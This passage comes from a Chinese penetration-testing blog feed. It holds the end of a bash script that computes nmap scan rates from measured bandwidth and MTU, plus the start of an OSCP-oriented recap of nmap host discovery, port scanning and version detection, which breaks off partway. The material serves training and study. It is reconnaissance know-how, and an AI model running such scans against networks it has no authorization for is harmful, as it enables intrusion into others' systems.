&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 安装必要工具&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; ! &lt;span class="nb"&gt;command&lt;/span&gt; -v bc &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&amp;gt; /dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] 安装 bc (数学计算器)...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install -y bc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; ! &lt;span class="nb"&gt;command&lt;/span&gt; -v speedtest-cli &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&amp;gt; /dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] 安装 speedtest-cli...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; sudo apt install -y speedtest-cli
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 获取最佳 MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;[?] 输入你测试的最佳 MTU (默认 1500): &amp;#34;&lt;/span&gt; MTU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MTU&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;MTU&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;1500&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 测试带宽&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] 正在测试带宽 (可能需要 30 秒)...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;speedtest-cli --simple &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/Download/{print $2}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[!] 带宽测试失败! 手动输入值:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;[?] 输入你的带宽 (Mbps): &amp;#34;&lt;/span&gt; BANDWIDTH_MBPS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[+] 测得带宽: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; Mbps&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 选择扫描类型&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[?] 选择扫描类型:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; 1) SYN 扫描 (小包, 74 字节)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; 2) UDP 扫描 (大包, MTU 大小)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;选项 (1/2): &amp;#34;&lt;/span&gt; SCAN_TYPE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$SCAN_TYPE&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; 1&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PACKET_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;74&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[+] 使用 SYN 扫描 (包大小: 74 字节)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; 2&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PACKET_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;MTU &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;18&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[+] 使用 UDP 扫描 (包大小: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PACKET_SIZE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; 字节)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; *&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[!] 无效选项! 使用默认 SYN 扫描&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PACKET_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;74&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算理论最大 pps (带宽 Mbps * 1e6 / (包大小 * 8))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;THEORETICAL_PPS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;scale=2; &lt;/span&gt;&lt;span class="nv"&gt;$BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="s2"&gt; * 1000000 / (&lt;/span&gt;&lt;span class="nv"&gt;$PACKET_SIZE&lt;/span&gt;&lt;span class="s2"&gt; * 8)&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; bc&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算安全值 (理论值的 50%)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SAFE_PPS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;scale=0; &lt;/span&gt;&lt;span class="nv"&gt;$THEORETICAL_PPS&lt;/span&gt;&lt;span class="s2"&gt; * 0.5 / 1&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; bc&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算首次扫描建议值 (理论值的 70%)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;INITIAL_PPS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;scale=0; &lt;/span&gt;&lt;span class="nv"&gt;$THEORETICAL_PPS&lt;/span&gt;&lt;span class="s2"&gt; * 0.7 / 1&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; bc&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n[+] 计算结果:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;--------------------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;带宽: &lt;/span&gt;&lt;span class="nv"&gt;$BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="s2"&gt; Mbps&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;MTU: &lt;/span&gt;&lt;span class="nv"&gt;$MTU&lt;/span&gt;&lt;span class="s2"&gt; 字节&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描包大小: &lt;/span&gt;&lt;span class="nv"&gt;$PACKET_SIZE&lt;/span&gt;&lt;span class="s2"&gt; 字节&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;理论最大速率: &lt;/span&gt;&lt;span class="nv"&gt;$THEORETICAL_PPS&lt;/span&gt;&lt;span class="s2"&gt; pps&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;--------------------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n[★] 建议 Nmap 参数:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;安全扫描: nmap --min-rate &lt;/span&gt;&lt;span class="nv"&gt;$SAFE_PPS&lt;/span&gt;&lt;span class="s2"&gt; ...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;快速扫描: nmap --min-rate &lt;/span&gt;&lt;span class="nv"&gt;$INITIAL_PPS&lt;/span&gt;&lt;span class="s2"&gt; ...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n[!] 提示:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- 首次扫描建议使用快速扫描值&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- 若遇丢包，降低至安全扫描值&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- 在敏感网络环境中，建议从更低的速率开始&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;保存后，赋予执行权限即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chmod +x nmap-optimizer.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 配合mtu测试脚本使用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -t 192.168.140.72 -f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;./nmap-optimizer.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250714144005183" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714144005183.png"&gt;&lt;/p&gt;
&lt;p&gt;此方法给出的参数值比较保守，适合在普通公网环境探测时使用，打靶机Nmap扫描时建议将此参数略高6-8倍。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day19 Kali主动扫描SMB、NetBIOS、SMTP、SNMP</title><link>https://ruajingjing.top/post/day19-kali%E4%B8%BB%E5%8A%A8%E6%89%AB%E6%8F%8Fsmb-netbios-smtp-snmp/</link><pubDate>Wed, 16 Jul 2025 10:51:26 +0000</pubDate><guid>https://ruajingjing.top/post/day19-kali%E4%B8%BB%E5%8A%A8%E6%89%AB%E6%8F%8Fsmb-netbios-smtp-snmp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day19 Kali主动扫描SMB、NetBIOS、SMTP、SNMP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="nmap核心扫描流程与命令回顾"&gt;&lt;strong&gt;Nmap核心扫描流程与命令回顾&lt;/strong&gt;
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;主机发现 (找出哪些 IP 是活动的):&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -sn 192.168.1.0/24
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;-sn&lt;/code&gt;&lt;/strong&gt;: (No Port Scan) 只进行主机发现（发送 ARP、ICMP Echo 等请求），&lt;strong&gt;不扫描端口&lt;/strong&gt;。快速识别网络上哪些主机是“活”的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;替代/相关参数:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-PE&lt;/code&gt; / &lt;code&gt;-PP&lt;/code&gt; / &lt;code&gt;-PM&lt;/code&gt;: 指定使用特定的 ICMP 类型进行 Echo/时间戳/地址掩码请求。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-PO [protocol list]&lt;/code&gt;: 使用 IP 协议 ping (例如 &lt;code&gt;-PO1,2,4&lt;/code&gt; 用于 ICMP, IGMP, IPIP)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--traceroute&lt;/code&gt;: 在主机发现或扫描后追踪路由。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--dns-servers &amp;lt;servers&amp;gt;&lt;/code&gt;: 指定自定义 DNS 服务器进行反向解析。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;全端口扫描 (找出活动主机上哪些端口是开放的):&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p- 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-p-&lt;/code&gt;&lt;/strong&gt;: &lt;strong&gt;扫描所有 65535 个 TCP 端口&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p- 192.168.1.1 --open
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--open&lt;/code&gt;&lt;/strong&gt;: &lt;strong&gt;仅显示处于 &lt;code&gt;open&lt;/code&gt; 状态的端口&lt;/strong&gt;。非常有用的筛选器，去除 &lt;code&gt;closed&lt;/code&gt; 和 &lt;code&gt;filtered&lt;/code&gt; 状态的端口，使结果更清晰。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;替代/相关参数:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p &amp;lt;port ranges&amp;gt;&lt;/code&gt;: &lt;strong&gt;最灵活的端口指定方式&lt;/strong&gt;。支持单端口(&lt;code&gt;22&lt;/code&gt;), 范围(&lt;code&gt;1-100&lt;/code&gt;), 逗号分隔列表(&lt;code&gt;21,22,80,443,8000-9000&lt;/code&gt;), 组合(&lt;code&gt;1-100,443,8080&lt;/code&gt;)。&lt;strong&gt;这是日常最常用的方法，替代 &lt;code&gt;-p-&lt;/code&gt; 以避免时间过长。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-F&lt;/code&gt; (快速扫描): 扫描 nmap-services 文件中定义的较少的常见端口 (约 100 个)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--top-ports &amp;lt;num&amp;gt;&lt;/code&gt;: 扫描最常见的 &lt;code&gt;&amp;lt;num&amp;gt;&lt;/code&gt; 个端口（基于 Nmap 的数据库）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sU&lt;/code&gt;: 进行 &lt;strong&gt;UDP 端口扫描&lt;/strong&gt; (与 &lt;code&gt;-p&lt;/code&gt;, &lt;code&gt;-p-&lt;/code&gt; 结合使用，如 &lt;code&gt;sudo nmap -sU -p- --open 192.168.1.1&lt;/code&gt; 扫描所有 UDP 端口)。&lt;strong&gt;注意：UDP 扫描通常慢得多。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;服务与版本探测 (确定特定开放端口运行的服务及其版本):&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p21,22,23 -sV 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
